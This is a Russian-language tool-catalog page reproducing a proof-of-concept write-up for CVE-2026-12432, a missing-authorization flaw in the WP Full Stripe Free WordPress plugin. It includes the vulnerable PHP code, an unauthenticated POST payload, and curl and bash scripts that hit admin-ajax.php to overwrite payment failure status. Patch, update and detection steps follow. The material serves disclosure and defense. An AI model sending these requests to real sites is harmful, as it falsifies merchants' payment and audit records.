Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Missing Authorization | Kitploit
Инструменты/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
11 месяц назадЕщё не проверено

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 - Отсутствие авторизации

Обзор

  • CVE ID: CVE-2026-12432
  • CVSS Score: 5.3 (Средний)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Affected: Stripe Payment Forms от WP Full Pay <= 8.4.3
  • Patched: >= 8.4.4
  • Опубликовано: 26 июня 2026
  • Последнее обновление: 27 июня 2026
  • Исследователь: Netwurm - VTDR e.V.i.G.

Описание уязвимости

Плагин WP Full Stripe Free для WordPress уязвим к Отсутствию авторизации в версиях до 8.4.3 включительно через AJAX-действие wpfs_update_failed_payment_status.

Корневая причина

Уязвимая AJAX-конечная точка зарегистрирована через хуки wp_ajax_ и wp_ajax_nopriv_:

root@kitploit:~
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

Функция update_failed_payment_status() (строка 3835-3865) выполняет:

  • ❌ НЕТ проверки прав (нет current_user_can())
  • ❌ НЕТ проверки nonce (нет wp_verify_nonce())
  • ❌ НЕТ проверки авторизации (нет is_user_logged_in())

Уязвимый код

root@kitploit:~
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... no auth check before processing ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Attacker can overwrite with controlled values
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

Вектор атаки

Предварительные условия

  • Payment Intent ID должен быть известен (отображается в браузере при обычной оплате Stripe)
  • Аутентификация не требуется

Шаги атаки

  1. Определить цель: Найти сайт на WordPress с установленным WP Full Stripe Free <= 8.4.3
  2. Получить Payment Intent ID: Извлечь из процесса оплаты Stripe.js или предыдущих транзакций
  3. Отправить вредоносный запрос: Сформировать POST-запрос к admin-ajax.php с параметрами, контролируемыми атакующим

HTTP-запрос

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

Оценка воздействия

Область воздействияСерьезностьОписание
Целостность

Конкретные воздействия

  1. Манипуляция записями платежей: Атакующий может изменить статус платежа с "оплачено" на "не удалось"
  2. Ложные коды ошибок: Атакующий может внедрить произвольные коды/сообщения об ошибках
  3. Социальная инженерия: Может быть использовано для обмана клиентов или оспаривания легитимных платежей
  4. Искажение журнала аудита: Бизнес-записи могут быть сфальсифицированы

Доказательство концепции (curl)

Базовая проверка

root@kitploit:~
# Test if endpoint is accessible without authentication
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Expected response (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# The key indicator is that the endpoint responds WITHOUT requiring authentication

Полный PoC-скрипт

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Check if vulnerable
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

Устранение

Немедленное исправление

Добавить проверку авторизации в wpfs-customer.php на строке 3835:

root@kitploit:~
function update_failed_payment_status() {
    // ADD THIS CHECK
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... rest of function
}

Рекомендуемое исправление (от разработчика)

Обновите до WP Full Stripe Free >= 8.4.4

root@kitploit:~
# Via WordPress Admin
Dashboard > Plugins > WP Full Stripe > Update

# Via WP-CLI
wp plugin update wp-full-stripe-free

# Via SSH
wp plugin update wp-full-stripe-free --version=8.4.4

Обнаружение

Ручная проверка

  1. Проверить версию плагина в админке WordPress
  2. Просмотреть wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php
  3. Искать отсутствие current_user_can() перед AJAX-обработчиками

Автоматическое обнаружение

root@kitploit:~
# Check if vulnerable version is installed
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Test AJAX endpoint
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"

Ссылки

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • W.P.E.F Telegram канал #1
  • W.P.E.F Telegram канал #2 --

Хронология

  • 26 июня 2026: Уязвимость публично раскрыта
  • 27 июня 2026: Опубликован CVE-2026-12432
  • Исправление: Обновление до >= 8.4.4
Скачать инструмент
Средний
Атакующие могут пометить успешные платежи как неудачные
КонфиденциальностьНетНет утечки данных
ДоступностьНизкийМожет нарушить работу бизнеса